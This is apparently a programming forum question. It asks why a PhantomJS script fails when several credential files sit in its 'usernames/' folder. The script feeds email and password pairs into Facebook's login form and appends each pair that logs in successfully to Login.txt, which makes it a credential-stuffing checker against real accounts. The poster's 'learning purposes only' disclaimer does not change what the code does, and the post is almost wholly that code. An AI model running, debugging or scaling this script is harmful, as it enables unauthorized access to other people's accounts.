Whenever I run this code with only one text file in the directory "usernames/" it works perfectly. But when there are multiple text files in there, the page.open outputs the status "fail" for both text files instead of "succes".
It really confuses me how the amount of text files breaks this code. Btw, this code will not be used for any illegal activity it's for learning purposes only.
var page = require('webpage').create();
var system = require("system");
var fs = require('fs');
function facebooktest(file){
var str = fs.read(file);
var username = str.split("\n")[0];
var password = str.split("\n")[1];
var email = str.split("\n")[2];
console.log(email);
console.log(password);
page.open('https://www.facebook.com/login.php?login_attempt/', function(status) {
console.log("Status: " + status);
page.includeJs('https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js', function () {
//page.render("before_submit.png");
page.evaluate(function (email,password) {
$("#email").val(email);
$("#pass").val(password);
$("#loginbutton").click();
},email,password);
page.onLoadFinished = function() {
//page.render("after_submit.png");
if (page.url == "https://www.facebook.com/"){
var fs = require('fs');
var pathe = 'Login.txt';
var content = "\nFacebook werkt voor : " + email + " " + password ;
fs.write(pathe, content, 'a');
};
};
});
});
}
var path = "usernames/";
var list = fs.list(path);
for(var x = 0; x < list.length; x++){
var file = path + list[x];
if(fs.isFile(file)){
console.log(file);
facebooktest(file);
}
}